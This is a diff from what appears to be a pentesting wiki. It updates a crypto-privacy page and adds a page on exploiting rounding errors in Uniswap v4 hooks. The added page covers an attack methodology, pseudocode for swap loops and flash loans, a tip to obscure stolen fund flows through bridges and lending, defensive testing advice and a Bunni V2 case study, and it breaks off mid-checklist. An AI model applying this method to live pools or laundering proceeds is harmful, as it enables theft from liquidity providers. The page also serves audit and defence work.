์„ค๊ณ„์ƒ ์ฃผ์†Œ ์žฌ์‚ฌ์šฉ์„ ๊ถŒ์žฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. -## **๊ฑฐ๋ž˜ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ์œ„ํ•œ ์ „๋žต** +## **Strategies for Transaction Privacy** -- **๋‹ค์ˆ˜์˜ ๊ฑฐ๋ž˜**: ๊ฒฐ์ œ๋ฅผ ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋กœ ๋‚˜๋ˆ„๋ฉด ๊ฑฐ๋ž˜ ๊ธˆ์•ก์„ ๋ชจํ˜ธํ•˜๊ฒŒ ํ•˜์—ฌ ํ”„๋ผ์ด๋ฒ„์‹œ ๊ณต๊ฒฉ์„ ์ €์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **๊ฑฐ์Šค๋ฆ„๋ˆ ํšŒํ”ผ**: ๊ฑฐ์Šค๋ฆ„๋ˆ ์ถœ๋ ฅ์„ ํ•„์š”๋กœ ํ•˜์ง€ ์•Š๋Š” ๊ฑฐ๋ž˜๋ฅผ ์„ ํƒํ•˜๋ฉด ๊ฑฐ์Šค๋ฆ„๋ˆ ํƒ์ง€ ๋ฐฉ๋ฒ•์„ ๋ฐฉํ•ดํ•˜์—ฌ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. -- **๋‹ค์ˆ˜์˜ ๊ฑฐ์Šค๋ฆ„๋ˆ ์ถœ๋ ฅ**: ๊ฑฐ์Šค๋ฆ„๋ˆ์„ ํ”ผํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ, ์—ฌ๋Ÿฌ ๊ฑฐ์Šค๋ฆ„๋ˆ ์ถœ๋ ฅ์„ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ๋„ ์—ฌ์ „ํžˆ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๊ฐœ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **Multiple transactions**: ๊ฒฐ์ œ๋ฅผ ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋กœ ๋ถ„ํ• ํ•˜๋ฉด ๊ฑฐ๋ž˜ ๊ธˆ์•ก์„ ๋ถˆ๋ถ„๋ช…ํ•˜๊ฒŒ ๋งŒ๋“ค์–ด ํ”„๋ผ์ด๋ฒ„์‹œ ๊ณต๊ฒฉ์„ ๋ฐฉํ•ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **Change avoidance**: change outputs๊ฐ€ ํ•„์š” ์—†๋Š” ๊ฑฐ๋ž˜๋ฅผ ์„ ํƒํ•˜๋ฉด change ํƒ์ง€ ๊ธฐ๋ฒ•์„ ๊ต๋ž€์‹œ์ผœ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. +- **Multiple change outputs**: change ํšŒํ”ผ๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ์—ฌ๋Ÿฌ ๊ฐœ์˜ change outputs๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๊ฐœ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -# **๋ชจ๋„ค๋กœ: ์ต๋ช…์˜ ๋“ฑ๋Œ€** +# **Monero: A Beacon of Anonymity** -๋ชจ๋„ค๋กœ๋Š” ๋””์ง€ํ„ธ ๊ฑฐ๋ž˜์—์„œ ์ ˆ๋Œ€์ ์ธ ์ต๋ช…์„ฑ์˜ ํ•„์š”์„ฑ์„ ๋‹ค๋ฃจ๋ฉฐ, ํ”„๋ผ์ด๋ฒ„์‹œ์˜ ๋†’์€ ๊ธฐ์ค€์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. +Monero๋Š” ๋””์ง€ํ„ธ ๊ฑฐ๋ž˜์—์„œ ์ ˆ๋Œ€์ ์ธ ์ต๋ช…์„ฑ ์š”๊ตฌ๋ฅผ ํ•ด๊ฒฐํ•˜๋ฉฐ ๋†’์€ ์ˆ˜์ค€์˜ ํ”„๋ผ์ด๋ฒ„์‹œ ๊ธฐ์ค€์„ ์ œ์‹œํ•ฉ๋‹ˆ๋‹ค. -# **์ด๋”๋ฆฌ์›€: ๊ฐ€์Šค์™€ ๊ฑฐ๋ž˜** +# **Ethereum: Gas and Transactions** -## **๊ฐ€์Šค ์ดํ•ดํ•˜๊ธฐ** +## **Understanding Gas** -๊ฐ€์Šค๋Š” ์ด๋”๋ฆฌ์›€์—์„œ ์ž‘์—…์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ๊ณ„์‚ฐ ๋…ธ๋ ฅ์„ ์ธก์ •ํ•˜๋ฉฐ, **gwei**๋กœ ๊ฐ€๊ฒฉ์ด ์ฑ…์ •๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, 2,310,000 gwei(๋˜๋Š” 0.00231 ETH)์˜ ๊ฑฐ๋ž˜๋Š” ๊ฐ€์Šค ํ•œ๋„์™€ ๊ธฐ๋ณธ ์ˆ˜์ˆ˜๋ฃŒ๊ฐ€ ํฌํ•จ๋˜๋ฉฐ, ์ฑ„๊ตด์ž๋ฅผ ์œ ์ธํ•˜๊ธฐ ์œ„ํ•œ ํŒ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋Š” ์ดˆ๊ณผ ์ง€๋ถˆํ•˜์ง€ ์•Š๋„๋ก ์ตœ๋Œ€ ์ˆ˜์ˆ˜๋ฃŒ๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ดˆ๊ณผ๋ถ„์€ ํ™˜๋ถˆ๋ฉ๋‹ˆ๋‹ค. +Gas๋Š” Ethereum์—์„œ ์—ฐ์‚ฐ์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ๊ณ„์‚ฐ๋Ÿ‰์„ ์ธก์ •ํ•˜๋ฉฐ, ๊ฐ€๊ฒฉ ๋‹จ์œ„๋Š” **gwei**์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด 2,310,000 gwei(๋˜๋Š” 0.00231 ETH) ๋น„์šฉ์ด ๋“œ๋Š” ๊ฑฐ๋ž˜๋Š” gas limit๊ณผ base fee๋ฅผ ํฌํ•จํ•˜๋ฉฐ, ์ฑ„๊ตด์ž ์ธ์„ผํ‹ฐ๋ธŒ๋กœ tip์ด ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋Š” ์ดˆ๊ณผ ์ง€๋ถˆ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด max fee๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‚จ๋Š” ๊ธˆ์•ก์€ ํ™˜๋ถˆ๋ฉ๋‹ˆ๋‹ค. -## **๊ฑฐ๋ž˜ ์‹คํ–‰ํ•˜๊ธฐ** +## **Executing Transactions** -์ด๋”๋ฆฌ์›€์˜ ๊ฑฐ๋ž˜๋Š” ๋ฐœ์‹ ์ž์™€ ์ˆ˜์‹ ์ž๊ฐ€ ํฌํ•จ๋˜๋ฉฐ, ์ด๋Š” ์‚ฌ์šฉ์ž ๋˜๋Š” ์Šค๋งˆํŠธ ๊ณ„์•ฝ ์ฃผ์†Œ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฑฐ๋ž˜๋Š” ์ˆ˜์ˆ˜๋ฃŒ๊ฐ€ ํ•„์š”ํ•˜๋ฉฐ ์ฑ„๊ตด๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ฑฐ๋ž˜์˜ ํ•„์ˆ˜ ์ •๋ณด์—๋Š” ์ˆ˜์‹ ์ž, ๋ฐœ์‹ ์ž์˜ ์„œ๋ช…, ๊ฐ’, ์„ ํƒ์  ๋ฐ์ดํ„ฐ, ๊ฐ€์Šค ํ•œ๋„ ๋ฐ ์ˆ˜์ˆ˜๋ฃŒ๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ํŠนํžˆ, ๋ฐœ์‹ ์ž์˜ ์ฃผ์†Œ๋Š” ์„œ๋ช…์—์„œ ์œ ์ถ”๋˜๋ฏ€๋กœ ๊ฑฐ๋ž˜ ๋ฐ์ดํ„ฐ์— ํฌํ•จํ•  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. +Ethereum์˜ ๊ฑฐ๋ž˜๋Š” ์†ก์‹ ์ž์™€ ์ˆ˜์‹ ์ž๋ฅผ ํฌํ•จํ•˜๋ฉฐ, ์ˆ˜์‹ ์ž๋Š” ์‚ฌ์šฉ์ž ์ฃผ์†Œ์ด๊ฑฐ๋‚˜ ์Šค๋งˆํŠธ ์ปจํŠธ๋ž™ํŠธ ์ฃผ์†Œ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฑฐ๋ž˜๋Š” ์ˆ˜์ˆ˜๋ฃŒ๊ฐ€ ํ•„์š”ํ•˜๊ณ  ์ฑ„๊ตด๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ฑฐ๋ž˜์— ํฌํ•จ๋˜๋Š” ํ•„์ˆ˜ ์ •๋ณด๋กœ๋Š” ์ˆ˜์‹ ์ž, ์†ก์‹ ์ž์˜ ์„œ๋ช…, ๊ฐ’(value), ์„ ํƒ์  ๋ฐ์ดํ„ฐ, gas limit, ๊ทธ๋ฆฌ๊ณ  ์ˆ˜์ˆ˜๋ฃŒ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ ์†ก์‹ ์ž์˜ ์ฃผ์†Œ๋Š” ์„œ๋ช…์œผ๋กœ๋ถ€ํ„ฐ ์œ ์ถ”๋˜๋ฏ€๋กœ ๊ฑฐ๋ž˜ ๋ฐ์ดํ„ฐ์— ๋ณ„๋„๋กœ ํฌํ•จ๋  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. -์ด๋Ÿฌํ•œ ๊ด€ํ–‰๊ณผ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ํ”„๋ผ์ด๋ฒ„์‹œ์™€ ๋ณด์•ˆ์„ ์šฐ์„ ์‹œํ•˜๋ฉฐ ์•”ํ˜ธํ™”ํ์— ์ฐธ์—ฌํ•˜๊ณ ์ž ํ•˜๋Š” ๋ชจ๋“  ์‚ฌ๋žŒ์—๊ฒŒ ๊ธฐ๋ณธ์ ์ž…๋‹ˆ๋‹ค. +์ด๋Ÿฌํ•œ ๊ด€ํ–‰๊ณผ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ํ”„๋ผ์ด๋ฒ„์‹œ์™€ ๋ณด์•ˆ์„ ์šฐ์„ ์‹œํ•˜๋ฉด์„œ ์•”ํ˜ธํ™”ํ๋ฅผ ๋‹ค๋ฃจ๋ ค๋Š” ๋ˆ„๊ตฌ์—๊ฒŒ๋‚˜ ๊ธฐ์ดˆ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. -## ์ฐธ๊ณ  ๋ฌธํ—Œ +## References - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) @@ -179,4 +181,12 @@ CoinJoin์˜ ๋ณ€ํ˜•์ธ **PayJoin**(๋˜๋Š” P2EP)์€ ๋‘ ๋‹น์‚ฌ์ž(์˜ˆ: ๊ณ ๊ฐ๊ณผ - [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) - [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) +## DeFi/AMM Exploitation + +If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flashโ€‘loan amplified thresholdโ€‘crossing swaps), check: + +{{#ref}} +defi-amm-hook-precision.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md new file mode 100644 index 000000000..7215e069d --- /dev/null +++ b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md @@ -0,0 +1,160 @@ +# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse + +{{#include ../../banners/hacktricks-training.md}} + +์ด ํŽ˜์ด์ง€๋Š” custom hooks๋กœ ์ฝ”์–ด ์ˆ˜ํ•™์„ ํ™•์žฅํ•˜๋Š” Uniswap v4 ์Šคํƒ€์ผ DEX๋“ค์— ๋Œ€ํ•œ ์ผ๋ จ์˜ DeFi/AMM ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ์„ค๋ช…ํ•œ๋‹ค. ์ตœ๊ทผ Bunni V2 ์‚ฌ๊ณ ์—์„œ๋Š” Liquidity Distribution Function (LDF)์˜ ๋ฐ˜์˜ฌ๋ฆผ/์ •๋ฐ€๋„ ๊ฒฐํ•จ์„ ์ด์šฉํ•ด ๊ฐ ์Šค์™‘์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์–‘(+)์˜ ํฌ๋ ˆ๋”ง์„ ์ถ•์ ํ•˜๊ณ  ์œ ๋™์„ฑ์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค. + +ํ•ต์‹ฌ ์•„์ด๋””์–ด: ํ›…์ด ๊ณ ์ • ์†Œ์ˆ˜์  ์—ฐ์‚ฐ, tick ๋ฐ˜์˜ฌ๋ฆผ, ์ž„๊ณ„๊ฐ’ ๋กœ์ง์— ์˜์กดํ•˜๋Š” ์ถ”๊ฐ€ ํšŒ๊ณ„(accounting)๋ฅผ ๊ตฌํ˜„ํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ํŠน์ • ์ž„๊ณ„๊ฐ’์„ ๋„˜๋„๋ก ๊ฐ€๊ฒฉ์„ ์ •ํ™•ํžˆ ์ด๋™์‹œํ‚ค๋Š” exactโ€‘input ์Šค์™‘์„ ์„ค๊ณ„ํ•ด ๋ฐ˜์˜ฌ๋ฆผ ์ฐจ์ด๊ฐ€ ์ž์‹ ์—๊ฒŒ ์œ ๋ฆฌํ•˜๊ฒŒ ๋ˆ„์ ๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ํŒจํ„ด์„ ๋ฐ˜๋ณตํ•˜๊ณ  ์ฆ์‹๋œ ์ž”์•ก์„ ์ธ์ถœํ•˜๋ฉด ์ด์ต์„ ์‹คํ˜„ํ•˜๋ฉฐ, ์ข…์ข… flash loan์œผ๋กœ ์ž๊ธˆ์„ ์กฐ๋‹ฌํ•œ๋‹ค. + +## Background: Uniswap v4 hooks and swap flow + +- Hooks๋Š” PoolManager๊ฐ€ ํŠน์ • ์ƒ๋ช…์ฃผ๊ธฐ ์ง€์ ์—์„œ ํ˜ธ์ถœํ•˜๋Š” contracts์ด๋‹ค(์˜ˆ: beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity). +- Pools๋Š” PoolKey์— hooks ์ฃผ์†Œ๋กœ ์ดˆ๊ธฐํ™”๋œ๋‹ค. nonโ€‘zero์ธ ๊ฒฝ์šฐ PoolManager๋Š” ๊ด€๋ จ๋œ ๋ชจ๋“  ์ž‘์—…์—์„œ ์ฝœ๋ฐฑ์„ ํ˜ธ์ถœํ•œ๋‹ค. +- ์ฝ”์–ด ์ˆ˜ํ•™์€ sqrtPriceX96์— ๋Œ€ํ•ด Q64.96 ๊ฐ™์€ fixedโ€‘point ํฌ๋งท๊ณผ 1.0001^tick์„ ์‚ฌ์šฉํ•˜๋Š” tick ์‚ฐ์ˆ ์„ ์‚ฌ์šฉํ•œ๋‹ค. ๊ทธ ์œ„์— ์ถ”๊ฐ€๋œ ๋ชจ๋“  custom math๋Š” ๋ถˆ๋ณ€์„ฑ ๋“œ๋ฆฌํ”„ํŠธ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ๋ฐ˜์˜ฌ๋ฆผ ์˜๋ฏธ๋ก ์„ ์ •ํ™•ํžˆ ๋งž์ถฐ์•ผ ํ•œ๋‹ค. +- Swaps๋Š” exactInput ๋˜๋Š” exactOutput์ผ ์ˆ˜ ์žˆ๋‹ค. v3/v4์—์„œ ๊ฐ€๊ฒฉ์€ ticks๋ฅผ ๋”ฐ๋ผ ์›€์ง์ด๊ณ , tick ๊ฒฝ๊ณ„๋ฅผ ๋„˜์œผ๋ฉด ๋ฒ”์œ„ ์œ ๋™์„ฑ์ด ํ™œ์„ฑํ™”/๋น„ํ™œ์„ฑํ™”๋  ์ˆ˜ ์žˆ๋‹ค. Hooks๋Š” ์ž„๊ณ„๊ฐ’/ํ‹ฑ ๊ต์ฐจ์—์„œ ์ถ”๊ฐ€ ๋กœ์ง์„ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ๋‹ค. + +## Vulnerability archetype: thresholdโ€‘crossing precision/rounding drift + +custom hooks์—์„œ ํ”ํ•œ ์ทจ์•ฝ ํŒจํ„ด: + +1. ํ›…์ด perโ€‘swap ์œ ๋™์„ฑ ๋˜๋Š” ์ž”์•ก ๋ธํƒ€๋ฅผ integer division, mulDiv, ๋˜๋Š” fixedโ€‘point ๋ณ€ํ™˜(์˜ˆ: token โ†” liquidity ๋ณ€ํ™˜์— sqrtPrice์™€ tick ranges ์‚ฌ์šฉ)์œผ๋กœ ๊ณ„์‚ฐํ•œ๋‹ค. +2. ์ž„๊ณ„๊ฐ’ ๋กœ์ง(์˜ˆ: ๋ฆฌ๋ฐธ๋Ÿฐ์‹ฑ, ๋‹จ๊ณ„๋ณ„ ์žฌ๋ถ„๋ฐฐ, ๋˜๋Š” ๋ฒ”์œ„๋ณ„ ํ™œ์„ฑํ™”)์ด ์Šค์™‘ ํฌ๊ธฐ๋‚˜ ๊ฐ€๊ฒฉ ์ด๋™์ด ๋‚ด๋ถ€ ๊ฒฝ๊ณ„๋ฅผ ๋„˜์„ ๋•Œ ํŠธ๋ฆฌ๊ฑฐ๋œ๋‹ค. +3. ์ „์ง„ ๊ณ„์‚ฐ๊ณผ ์ •์‚ฐ ๊ฒฝ๋กœ ์‚ฌ์ด์— ๋ฐ˜์˜ฌ๋ฆผ์ด ์ผ๊ด€๋˜๊ฒŒ ์ ์šฉ๋˜์ง€ ์•Š๋Š”๋‹ค(์˜ˆ: 0์œผ๋กœ ์ ˆ๋‹จ(truncation toward zero), floor ๋Œ€ ceil). ์ž‘์€ ๋ถˆ์ผ์น˜๊ฐ€ ์ƒ์‡„๋˜์ง€ ์•Š๊ณ  ๋Œ€์‹  ํ˜ธ์ถœ์ž์—๊ฒŒ ํฌ๋ ˆ๋”ง์œผ๋กœ ๊ท€์†๋œ๋‹ค. +4. ์ž„๊ณ„๊ฐ’์„ ๊ฐ€๋กœ์ง€๋ฅด๋„๋ก ์ •๋ฐ€ํ•˜๊ฒŒ ์กฐ์ •๋œ exactโ€‘input ์Šค์™‘์€ ์–‘(+)์˜ ๋ฐ˜์˜ฌ๋ฆผ ์ž”์—ฌ๋ถ„์„ ๋ฐ˜๋ณต์ ์œผ๋กœ ์ˆ˜ํ™•ํ•œ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ดํ›„ ์ถ•์ ๋œ ํฌ๋ ˆ๋”ง์„ ์ธ์ถœํ•œ๋‹ค. + +Attack preconditions +- ๊ฐ ์Šค์™‘์—์„œ ์ถ”๊ฐ€ ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•˜๋Š” custom v4 hook์„ ์‚ฌ์šฉํ•˜๋Š” ํ’€(์˜ˆ: LDF/rebalancer). +- ์ž„๊ณ„๊ฐ’ ๊ต์ฐจ์—์„œ ์Šค์™‘ ์‹œ์ž‘์ž์—๊ฒŒ ๋ฐ˜์˜ฌ๋ฆผ ์ด์ต์„ ์ฃผ๋Š” ์ ์–ด๋„ ํ•˜๋‚˜์˜ ์‹คํ–‰ ๊ฒฝ๋กœ. +- ๋งŽ์€ ์ˆ˜์˜ ์Šค์™‘์„ ์›์ž์ ์œผ๋กœ ๋ฐ˜๋ณตํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ(flash loans๋Š” ์ž„์‹œ ์œ ๋™์„ฑ ์ œ๊ณต๊ณผ ๊ฐ€์Šค ๋ถ„์‚ฐ์— ์ด์ƒ์ ). + +## Practical attack methodology + +1) Identify candidate pools with hooks +- v4 pools๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  PoolKey.hooks != address(0)์„ ํ™•์ธํ•œ๋‹ค. +- beforeSwap/afterSwap ๊ฐ™์€ ์ฝœ๋ฐฑ๊ณผ custom rebalancing ๋ฉ”์„œ๋“œ๋ฅผ ์œ„ํ•ด hook bytecode/ABI๋ฅผ ๊ฒ€์‚ฌํ•œ๋‹ค. +- ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ˆ˜ํ•™์„ ์ฐพ๋Š”๋‹ค: liquidity๋กœ ๋‚˜๋ˆ„๊ธฐ, token๊ณผ liquidity ์‚ฌ์ด ๋ณ€ํ™˜, ๋˜๋Š” ๋ฐ˜์˜ฌ๋ฆผ์„ ํฌํ•จํ•œ BalanceDelta ์ง‘๊ณ„ ๋“ฑ. + +2) Model the hookโ€™s math and thresholds +- ํ›…์˜ liquidity/redistribution ๊ณต์‹์„ ์žฌํ˜„ํ•œ๋‹ค: ์ž…๋ ฅ์—๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ sqrtPriceX96, tickLower/Upper, currentTick, fee tier, net liquidity ๋“ฑ์ด ํฌํ•จ๋œ๋‹ค. +- ์ž„๊ณ„๊ฐ’/์Šคํ… ํ•จ์ˆ˜๋“ค์„ ๋งคํ•‘ํ•œ๋‹ค: ticks, ๋ฒ„ํ‚ท ๊ฒฝ๊ณ„, ๋˜๋Š” LDF ๋ถ„๊ธฐ์ . ๊ฐ ๊ฒฝ๊ณ„์˜ ์–ด๋А ์ชฝ์—์„œ ๋ธํƒ€๊ฐ€ ๋ฐ˜์˜ฌ๋ฆผ๋˜๋Š”์ง€ ๊ฒฐ์ •ํ•œ๋‹ค. +- ์–ด๋””์—์„œ uint256/int256 ๊ฐ„ ์บ์ŠคํŠธ๊ฐ€ ์ผ์–ด๋‚˜๋Š”์ง€, SafeCast๋ฅผ ์“ฐ๋Š”์ง€, ๋˜๋Š” ์•”๋ฌต์  floor๋ฅผ ๊ฐ€์ง„ mulDiv๋ฅผ ์‚ฌ์šฉํ•˜๋Š”์ง€ ์‹๋ณ„ํ•œ๋‹ค. + +3) Calibrate exactโ€‘input swaps to cross boundaries +- Foundry/Hardhat ์‹œ๋ฎฌ๋ ˆ์ด์…˜์„ ์‚ฌ์šฉํ•ด ๊ฐ€๊ฒฉ์„ ๊ฒฝ๊ณ„ ๋ฐ”๋กœ ๋„˜์–ด๊ฐ€๊ฒŒ ํ•˜๊ณ  ํ›…์˜ ๋ถ„๊ธฐ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ ์œ„ํ•œ ์ตœ์†Œ ฮ”in์„ ๊ณ„์‚ฐํ•œ๋‹ค. +- afterSwap ์ •์‚ฐ์ด ๋น„์šฉ๋ณด๋‹ค ํ˜ธ์ถœ์ž์—๊ฒŒ ๋” ๋งŽ์€ ํฌ๋ ˆ๋”ง์„ ๋ถ€์—ฌํ•ด positive BalanceDelta ๋˜๋Š” ํ›… ํšŒ๊ณ„์ƒ ํฌ๋ ˆ๋”ง์„ ๋‚จ๊ธฐ๋Š”์ง€ ๊ฒ€์ฆํ•œ๋‹ค. +- ํฌ๋ ˆ๋”ง์„ ์ถ•์ ํ•˜๊ธฐ ์œ„ํ•ด ์Šค์™‘์„ ๋ฐ˜๋ณตํ•œ ๋’ค ํ›…์˜ withdrawal/settlement ๊ฒฝ๋กœ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค. + +Example Foundryโ€‘style test harness (pseudocode) +```solidity +function test_precision_rounding_abuse() public { +// 1) Arrange: set up pool with hook +PoolKey memory key = PoolKey({ +currency0: USDC, +currency1: USDT, +fee: 500, // 0.05% +tickSpacing: 10, +hooks: address(bunniHook) +}); +pm.initialize(key, initialSqrtPriceX96); + +// 2) Determine a boundaryโ€‘crossing exactInput +uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary); + +// 3) Loop swaps to accrue rounding credit +for (uint i; i < N; ++i) { +pm.swap( +key, +IPoolManager.SwapParams({ +zeroForOne: true, +amountSpecified: int256(exactIn), // exactInput +sqrtPriceLimitX96: 0 // allow tick crossing +}), +"" +); +} + +// 4) Realize inflated credit via hookโ€‘exposed withdrawal +bunniHook.withdrawCredits(msg.sender); +} +``` +exactInput ๋ณด์ • +- ํ‹ฑ ์Šคํ…์— ๋Œ€ํ•œ ฮ”sqrtP ๊ณ„์‚ฐ: sqrtP_next = sqrtP_current ร— 1.0001^(ฮ”tick). +- v3/v4 ๊ณต์‹์„ ์‚ฌ์šฉํ•ด ฮ”in์„ ๊ทผ์‚ฌ: ฮ”x โ‰ˆ L ร— (ฮ”sqrtP / (sqrtP_next ร— sqrtP_current)). ๋ฐ˜์˜ฌ๋ฆผ ๋ฐฉํ–ฅ์ด ํ•ต์‹ฌ ์ˆ˜ํ•™๊ณผ ์ผ์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. +- ๊ฒฝ๊ณ„ ์ฃผ๋ณ€์—์„œ ฮ”in์„ ยฑ1 wei๋งŒํผ ์กฐ์ •ํ•ด hook์ด ๋‹น์‹ ์—๊ฒŒ ์œ ๋ฆฌํ•˜๊ฒŒ ๋ฐ˜์˜ฌ๋ฆผํ•˜๋Š” ๋ถ„๊ธฐ๋ฅผ ์ฐพ์œผ์„ธ์š”. + +4) flash loans๋กœ ์ฆํญํ•˜๊ธฐ +- ์›์ž์ ์œผ๋กœ ์—ฌ๋Ÿฌ ๋ฐ˜๋ณต์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ํฐ ๋ช…๋ชฉ์•ก(์˜ˆ: 3M USDT ๋˜๋Š” 2000 WETH)์„ ๋นŒ๋ฆฌ์„ธ์š”. +- ๋ณด์ •๋œ swap ๋ฃจํ”„๋ฅผ ์‹คํ–‰ํ•œ ๋‹ค์Œ, flash loan callback ๋‚ด์—์„œ ์ถœ๊ธˆํ•˜๊ณ  ์ƒํ™˜ํ•˜์„ธ์š”. + +Aave V3 flash loan skeleton +```solidity +function executeOperation( +address[] calldata assets, +uint256[] calldata amounts, +uint256[] calldata premiums, +address initiator, +bytes calldata params +) external returns (bool) { +// run thresholdโ€‘crossing swap loop here +for (uint i; i < N; ++i) { +_exactInBoundaryCrossingSwap(); +} +// realize credits / withdraw inflated balances +bunniHook.withdrawCredits(address(this)); +// repay +for (uint j; j < assets.length; ++j) { +IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]); +} +return true; +} +``` +5) Exit and crossโ€‘chain replication +- If hooks are deployed on multiple chains, repeat the same calibration per chain. +- Bridge proceeds back to the target chain and optionally cycle via lending protocols to obfuscate flows. + +## Common root causes in hook math + +- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding. +- Tick alignment errors: using unrounded ticks in one path and tickโ€‘spaced rounding in another. +- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement. +- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping. +- Accumulation pathways: perโ€‘swap remainders tracked as credits that are withdrawable by the caller instead of being burned/zeroโ€‘sum. + +## Defensive guidance + +- Differential testing: mirror the hookโ€™s math vs a reference implementation using highโ€‘precision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller). +- Invariant/property tests: +- Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees. +- No path should create positive net credit for the swap initiator over repeated exactInput iterations. +- Threshold/tick boundary tests around ยฑ1 wei inputs for both exactInput/exactOutput. +- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors. +- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender. +- Rateโ€‘limits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are subโ€‘wei; sanityโ€‘check deltas against expected ranges. +- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding. + +## Case study: Bunni V2 (2025โ€‘09โ€‘02) + +- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance. +- Root cause: rounding/precision error in LDF liquidity accounting during thresholdโ€‘crossing swaps; perโ€‘swap discrepancies accrued as positive credits for the caller. +- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exactโ€‘input swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave. +- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum. +- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely onโ€‘chain. + +## Hunting checklist + +- Does the pool use a nonโ€‘zero hooks address? Which 